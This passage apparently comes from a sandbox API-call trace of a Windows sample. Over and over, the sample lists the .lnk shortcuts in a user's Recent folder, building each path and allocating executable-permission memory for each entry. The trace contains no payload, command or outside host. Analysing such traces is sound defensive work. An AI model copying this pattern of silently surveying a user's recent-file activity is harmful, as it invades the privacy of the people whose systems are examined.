(in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HkP-y.lnk") returned 72 [0054.877] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HkP-y.lnk") returned 72 [0054.877] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.878] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.878] lstrcmpW (lpString1="HK_SRBXCNwo6hKv3Yib.lnk", lpString2=".") returned 1 [0054.878] lstrcmpW (lpString1="HK_SRBXCNwo6hKv3Yib.lnk", lpString2="..") returned 1 [0054.878] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="HK_SRBXCNwo6hKv3Yib.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HK_SRBXCNwo6hKv3Yib.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HK_SRBXCNwo6hKv3Yib.lnk" [0054.878] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.878] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HK_SRBXCNwo6hKv3Yib.lnk") returned 86 [0054.878] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HK_SRBXCNwo6hKv3Yib.lnk") returned 86 [0054.878] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.878] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.878] lstrcmpW (lpString1="i25MLe9kC22ViMDQq.lnk", lpString2=".") returned 1 [0054.878] lstrcmpW (lpString1="i25MLe9kC22ViMDQq.lnk", lpString2="..") returned 1 [0054.878] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="i25MLe9kC22ViMDQq.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i25MLe9kC22ViMDQq.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i25MLe9kC22ViMDQq.lnk" [0054.878] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.878] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i25MLe9kC22ViMDQq.lnk") returned 84 [0054.878] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i25MLe9kC22ViMDQq.lnk") returned 84 [0054.878] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.878] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.878] lstrcmpW (lpString1="ig6hjLi-OP4x R.lnk", lpString2=".") returned 1 [0054.878] lstrcmpW (lpString1="ig6hjLi-OP4x R.lnk", lpString2="..") returned 1 [0054.878] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="ig6hjLi-OP4x R.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ig6hjLi-OP4x R.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ig6hjLi-OP4x R.lnk" [0054.878] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.879] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ig6hjLi-OP4x R.lnk") returned 81 [0054.879] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ig6hjLi-OP4x R.lnk") returned 81 [0054.879] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.879] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.879] lstrcmpW (lpString1="imbMbOER.lnk", lpString2=".") returned 1 [0054.879] lstrcmpW (lpString1="imbMbOER.lnk", lpString2="..") returned 1 [0054.879] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="imbMbOER.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\imbMbOER.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\imbMbOER.lnk" [0054.879] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.879] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\imbMbOER.lnk") returned 75 [0054.879] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\imbMbOER.lnk") returned 75 [0054.879] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.879] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.879] lstrcmpW (lpString1="jdhLD2CDd5WY7.lnk", lpString2=".") returned 1 [0054.879] lstrcmpW (lpString1="jdhLD2CDd5WY7.lnk", lpString2="..") returned 1 [0054.879] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="jdhLD2CDd5WY7.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jdhLD2CDd5WY7.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jdhLD2CDd5WY7.lnk" [0054.879] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.879] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jdhLD2CDd5WY7.lnk") returned 80 [0054.879] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jdhLD2CDd5WY7.lnk") returned 80 [0054.879] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.880] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.880] lstrcmpW (lpString1="jMUwXrx_DL.lnk", lpString2=".") returned 1 [0054.880] lstrcmpW (lpString1="jMUwXrx_DL.lnk", lpString2="..") returned 1 [0054.880] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="jMUwXrx_DL.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jMUwXrx_DL.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jMUwXrx_DL.lnk" [0054.880] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.880] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jMUwXrx_DL.lnk") returned 77 [0054.880] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jMUwXrx_DL.lnk") returned 77 [0054.880] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.880] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.880] lstrcmpW (lpString1="JOfdh4o6jslX.lnk", lpString2=".") returned 1 [0054.880] lstrcmpW (lpString1="JOfdh4o6jslX.lnk", lpString2="..") returned 1 [0054.880] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="JOfdh4o6jslX.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JOfdh4o6jslX.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JOfdh4o6jslX.lnk" [0054.880] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.880] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JOfdh4o6jslX.lnk") returned 79 [0054.880] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JOfdh4o6jslX.lnk") returned 79 [0054.880] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.880] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.880] lstrcmpW (lpString1="jxoh-EFt2nW-t9X.lnk", lpString2=".") returned 1 [0054.880] lstrcmpW (lpString1="jxoh-EFt2nW-t9X.lnk", lpString2="..") returned 1 [0054.880] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="jxoh-EFt2nW-t9X.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jxoh-EFt2nW-t9X.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jxoh-EFt2nW-t9X.lnk" [0054.880] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.881] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jxoh-EFt2nW-t9X.lnk") returned 82 [0054.881] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jxoh-EFt2nW-t9X.lnk") returned 82 [0054.881] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.881] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.881] lstrcmpW (lpString1="jyOHRPQ6E1yOr.lnk", lpString2=".") returned 1 [0054.881] lstrcmpW (lpString1="jyOHRPQ6E1yOr.lnk", lpString2="..") returned 1 [0054.881] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="jyOHRPQ6E1yOr.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jyOHRPQ6E1yOr.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jyOHRPQ6E1yOr.lnk" [0054.881] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.881] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jyOHRPQ6E1yOr.lnk") returned 80 [0054.881] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jyOHRPQ6E1yOr.lnk") returned 80 [0054.881] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.881] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.881] lstrcmpW (lpString1="kSYHI_Wa9bfsyy-Z.lnk", lpString2=".") returned 1 [0054.881] lstrcmpW (lpString1="kSYHI_Wa9bfsyy-Z.lnk", lpString2="..") returned 1 [0054.881] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="kSYHI_Wa9bfsyy-Z.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kSYHI_Wa9bfsyy-Z.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kSYHI_Wa9bfsyy-Z.lnk" [0054.881] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.882] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kSYHI_Wa9bfsyy-Z.lnk") returned 83 [0054.882] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kSYHI_Wa9bfsyy-Z.lnk") returned 83 [0054.882] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.882] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.882] lstrcmpW (lpString1="KtCdK3LGr9KL.lnk", lpString2=".") returned 1 [0054.882] lstrcmpW (lpString1="KtCdK3LGr9KL.lnk", lpString2="..") returned 1 [0054.882] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="KtCdK3LGr9KL.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KtCdK3LGr9KL.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KtCdK3LGr9KL.lnk" [0054.882] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.882] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KtCdK3LGr9KL.lnk") returned 79 [0054.882] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KtCdK3LGr9KL.lnk") returned 79 [0054.882] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.882] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.882] lstrcmpW (lpString1="ku4nJ2ON.lnk", lpString2=".") returned 1 [0054.882] lstrcmpW (lpString1="ku4nJ2ON.lnk", lpString2="..") returned 1 [0054.882] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="ku4nJ2ON.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ku4nJ2ON.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ku4nJ2ON.lnk" [0054.882] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.882] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ku4nJ2ON.lnk") returned 75 [0054.882] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ku4nJ2ON.lnk") returned 75 [0054.882] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.882] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.883] lstrcmpW (lpString1="kvL5uOocTiCI S__fRu.lnk", lpString2=".") returned 1 [0054.883] lstrcmpW (lpString1="kvL5uOocTiCI S__fRu.lnk", lpString2="..") returned 1 [0054.883] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="kvL5uOocTiCI S__fRu.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kvL5uOocTiCI S__fRu.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kvL5uOocTiCI S__fRu.lnk" [0054.883] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.883] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kvL5uOocTiCI S__fRu.lnk") returned 86 [0054.883] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kvL5uOocTiCI S__fRu.lnk") returned 86 [0054.883] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.883] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.883] lstrcmpW (lpString1="ldeazaydq H9.lnk", lpString2=".") returned 1 [0054.883] lstrcmpW (lpString1="ldeazaydq H9.lnk", lpString2="..") returned 1 [0054.883] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="ldeazaydq H9.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ldeazaydq H9.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ldeazaydq H9.lnk" [0054.883] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.883] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ldeazaydq H9.lnk") returned 79 [0054.883] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ldeazaydq H9.lnk") returned 79 [0054.883] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.883] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.883] lstrcmpW (lpString1="lmzNuu.lnk", lpString2=".") returned 1 [0054.883] lstrcmpW (lpString1="lmzNuu.lnk", lpString2="..") returned 1 [0054.883] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="lmzNuu.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lmzNuu.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lmzNuu.lnk" [0054.883] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.883] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lmzNuu.lnk") returned 73 [0054.884] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lmzNuu.lnk") returned 73 [0054.884] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.884] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.884] lstrcmpW (lpString1="LsUd7T_9uN5u1inV_P.lnk", lpString2=".") returned 1 [0054.884] lstrcmpW (lpString1="LsUd7T_9uN5u1inV_P.lnk", lpString2="..") returned 1 [0054.884] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="LsUd7T_9uN5u1inV_P.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LsUd7T_9uN5u1inV_P.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LsUd7T_9uN5u1inV_P.lnk" [0054.884] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.884] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LsUd7T_9uN5u1inV_P.lnk") returned 85 [0054.884] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LsUd7T_9uN5u1inV_P.lnk") returned 85 [0054.884] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.884] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.884] lstrcmpW (lpString1="lxRXkBM2nNswBBWWBk42.lnk", lpString2=".") returned 1 [0054.884] lstrcmpW (lpString1="lxRXkBM2nNswBBWWBk42.lnk", lpString2="..") returned 1 [0054.884] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="lxRXkBM2nNswBBWWBk42.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lxRXkBM2nNswBBWWBk42.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lxRXkBM2nNswBBWWBk42.lnk" [0054.884] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.884] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lxRXkBM2nNswBBWWBk42.lnk") returned 87 [0054.884] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lxRXkBM2nNswBBWWBk42.lnk") returned 87 [0054.884] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.884] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.884] lstrcmpW (lpString1="l_9IL425VzhWVYOQGgg3.ots.lnk", lpString2=".") returned 1 [0054.885] lstrcmpW (lpString1="l_9IL425VzhWVYOQGgg3.ots.lnk", lpString2="..") returned 1 [0054.885] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="l_9IL425VzhWVYOQGgg3.ots.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l_9IL425VzhWVYOQGgg3.ots.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l_9IL425VzhWVYOQGgg3.ots.lnk" [0054.885] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.885] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l_9IL425VzhWVYOQGgg3.ots.lnk") returned 91 [0054.885] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l_9IL425VzhWVYOQGgg3.ots.lnk") returned 91 [0054.885] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.885] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.885] lstrcmpW (lpString1="L_GiUm.lnk", lpString2=".") returned 1 [0054.885] lstrcmpW (lpString1="L_GiUm.lnk", lpString2="..") returned 1 [0054.885] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="L_GiUm.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\L_GiUm.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\L_GiUm.lnk" [0054.885] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.885] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\L_GiUm.lnk") returned 73 [0054.885] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\L_GiUm.lnk") returned 73 [0054.885] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.885] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.885] lstrcmpW (lpString1="m mArdoH QZh2LspL.lnk", lpString2=".") returned 1 [0054.885] lstrcmpW (lpString1="m mArdoH QZh2LspL.lnk", lpString2="..") returned 1 [0054.885] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="m mArdoH QZh2LspL.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m mArdoH QZh2LspL.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m mArdoH QZh2LspL.lnk" [0054.885] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.885] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m mArdoH QZh2LspL.lnk") returned 84 [0054.886] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m mArdoH QZh2LspL.lnk") returned 84 [0054.886] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.886] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.886] lstrcmpW (lpString1="M VM-W8ibnNtUjYzZy1.lnk", lpString2=".") returned 1 [0054.886] lstrcmpW (lpString1="M VM-W8ibnNtUjYzZy1.lnk", lpString2="..") returned 1 [0054.886] 